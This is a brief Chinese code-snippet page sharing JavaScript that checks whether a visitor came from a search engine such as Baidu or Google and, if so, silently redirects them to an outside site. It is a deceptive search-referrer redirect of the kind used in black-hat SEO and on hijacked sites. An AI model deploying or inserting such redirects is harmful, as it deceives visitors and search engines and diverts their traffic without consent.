JS判断搜索引擎来路跳转代码

admin2024-11-096597

JS判断搜索引擎来路跳转代码:



var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig;

var where =document.referrer;

if(regexp.test(where))

{

window.location.href='http://www.badcatu.com'

}


网友评论